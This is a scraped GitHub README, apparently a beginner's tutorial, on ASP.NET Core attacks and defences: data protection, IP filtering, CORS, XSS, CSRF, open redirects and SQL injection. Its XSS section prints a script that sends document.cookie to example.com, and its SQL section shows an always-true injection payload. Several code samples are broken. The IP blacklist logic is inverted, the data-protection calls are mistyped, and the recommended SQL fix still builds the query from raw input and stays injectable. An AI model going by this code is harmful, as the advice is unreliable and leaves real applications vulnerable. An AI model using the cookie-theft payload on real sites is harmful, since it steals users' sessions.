lvzhuye / Asp.NetCore-Security

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

Logo

Asp.Net Core 3.1 Basic Attacks and Solutions

This repository explain simple but effective attacks through examples. Asp.Net can resolving many problem.
We need to do just let it.

Security Precautions

Data Protection

Not need "TATAVA". in sum, Valuable data are require hide. Therefore we will encrypt data. Thus datas are store as encrypted for memory or cookies in client side.

www.domain.com/products/77
www.domain.com/products/PIjlIX2rVMPEsXyZ9rvhQJdJDxXRr5zyt_hiDhRRlBmtLo1npprgm2CMnQRcBWylcVWq8fjvwyngsfad

We will use Microsoft.AspNetCore.DataProtection. Have require two things us. Top secret key and (IDataProtector) dependency injection in controller. Key thinkable like door key. Key is require for opening door.

private readonly IDataProtector _dataProtector;

public ProductController(IDataProtectionProvider provider)
{
  _dataProtector = provider.CreateProtector("private_key_for_example_can_be_ProductController");            
}

And we can define encrypter in action input and output. I'm fondle .Net Core's eye. it is just that easy.

public IActionResult Index()
{
  int userId = 1001;
  int encrypUserId = _dataProtector.Protect(userId);
  return View(encrypUserId);
}
public IActionResult Index(string encryptedId)
{
  int userPassword = Int32.Parse(_dataProtector.Unrotect(userPassword));
  return View();
}

Note : Above all must add services.AddDataProtection() in Startup.cs services. Also all of these can be as middleware.

IP Control

IP control provide to define blacklist or whitelist for IPs. We will manegement IP lists. Thus we can block malicious. We will code as middleware level in this sample. Therefore we need to define RequestDelegate in dependency injections.

private readonly RequestDelegate _next;
private readonly string[] _ipBlackList = {"127.0.0.1", "::1"};
  
public IPSafeMiddleWare(RequestDelegate next)
{
  _next = next;
}

And coding Invoke() method. This method provide coding middleware to us. Required request context for method. And we check that it is in blacklist.

public async Task Invoke(HttpContext context)
{
  var requestIpAdress = context.Connection.RemoteIpAddress;
  var isWhiteList = _ipBlackList.Where(x => IPAddress.Parse(x).Equals(requestIpAdress)).Any();
  if (!isWhiteList)
  {
    context.Response.StatusCode = (int) HttpStatusCode.Forbidden;
    return;
  }           
  await _next(context);
 }

Last all we need to do let know middleware to asp.net. We define IPSafeMiddleware in Startup.cs Configure method. And finished.

app.UseMiddleware<IPSafeMiddleWare>();

Actually you can do this checking process as filter too. Thus you can checking ip in controller level or action level. Maybe this can improve performance.

Secret Protection

Normally we are recording connection string to appsettings.json. But datas not be in safe there. Asp.Net Core is avert this situation. it's providing top secret file for top secret data. Thanks Bill Doors 🙏.

Logo

We can access by right click web project file then choice Manage Users Secrets so to top secret file. Now, We can write secret contexts inside of appsettings.json to this json file. Asp.NET Core add secrets.json inside to appsettings.json in compile time. Thinkable like one file.

CORS (Cross-Origin Resource Sharing)

in sum, Permission is required to pass through CORS. in conclusion not its dad's farm. We need to a policy key for permission. We can define CORS in Startup.cs services. Then require add inside middleware layer like this app.UseCors("AllowSites");.

public void ConfigureServices(IServiceCollection services)
{
  services.AddCors(options =>
  {   
    //allow all domains            
    options.AddDefaultPolicy(builder =>
    {
      builder.AllowAnyOrigin().AllowAnyHeader().AllowAnyMethod();
    }); 
    
    //allow spesific domains
    options.AddPolicy("AllowSites", builder =>
    {
      builder.WithOrigins("https://localhost:44355", "https://anywebsites.com", "etc.")
      .AllowAnyHeader().AllowAnyMethod();
    });
  });
}

Also we can define more specific rules. I tried explain in project file. You can examine.

Attacks

XSS

This is a kind of script vulnerability. Done by integrate harmful script in our HTML and JS files. Actually There are 3 ways. But we can apply same solution all of them. Net Core provide solution as default. Again thanks great dot net. Not need to define in Startup.cs file. if we want we can disable it.

<script> new Image().\"http://example.com/readCookie/?account=\"+document.cookie\"</script>

as example, when this script integrated to our js codes it's send to own "domain". that's very simple process but so effective. XSS attacks are one of the most common forms of Web Attacks, and this type of attack accounts for 12.75% of all web attacks.

Reflected

Hacker is integrate scripts to browser in client side. Nevertheless we can block this scripts. He's can access a user data.

Stored

Hacker is integrate scripts to source code in server side. it's so dangerous. Hacker can access all users data.

Dom(Document Object Model)

This way genrally weld up from trying to payload after # sign.

CSRF(Cross Site Request Forgery)


Actually picture explain everything. in sum, hacker is creating new request with using fake url. in meantime he's stealing datas inside of request. Solution of this problem is simple too with Asp.Net Core. it's creating token for request. When reponse arrive in back Asp.Net Core is checking token.
We're will using as application level filter. We're adding service in `Startup.cs` file. And it finished.
services.AddControllersWithViews(opt =>
{
  opt.Filters.Add(new AutoValidateAntiforgeryTokenAttribute());
});

if you want we can disable antiforgery token in controller level.

[IgnoreAntiforgeryToken]     
public IActionResult Index()
{     
  return View();
}

Note : if necessary you can find about CSRF code in Course.Attacks.XSS.Web project.

Open Redirect Attack

Let's think like this, as example. You are liked .357 cal revolver in amazon. But must sign in to amazon for buy it. And it's direct to sign page you. And generally be url like that.

https://www.amazon.com.tr/ap/signin?returnUrl=url_of_the_weapon_of_your_dreams

Hacker by converting url trying stole your data. Converted url be like that.

https://www.amazon.com.tr/ap/signin?returnUrl=bad_hacker_url

Solution is very simple. We can overcome problem with little check process. e.g.

public IActionResult Login(string returnUrl = "/")
{
    TempData["returnUrl"] = returnUrl;
    return View();
}
[HttpPost]
public IActionResult Login(string mail,string password)
{
    string returnUrl = TempData["returnUrl"].ToString();
    //Acount Authorization
    if (Url.IsLocalUrl(returnUrl))
    {
      return Redirect(returnUrl);
    }
    else
    {
      return Redirect("/");
    }          
}

SQL Injection

if i'm explain with example got better. Suppose we're doing dynamic search in database with text box. like that:

[HttpPost]
public async Task<IActionResult> Search(string searchText)
{
  var products = _context.Product.FromSqlRaw("SELECT * FROM product WHERE Name="+searchText).ToList();
  return View(product);  
}

if hacker is discern this bug, he will try to search '' OR '1' = '1'. And add it to SQL query.

SELECT * FROM product WHERE Name='' OR '1' = '1'

The hacker's getting all the data in this way. as solution we can write sql query like this

var products = _context.Product.FromSqlRaw($"SELECT * FROM product WHERE Name={searchText}").ToList();

or we can use LINQ Expressions

var products = _context.Product.Where(x => x.Name == serachText).ToList();

Contact

Muhammet İkbal KAZANCI - LinkedIn - mi.kazanci@hotmail.com

About


Languages

Language:C# 49.5%Language:HTML 36.9%Language:CSS 11.7%Language:JavaScript 2.0%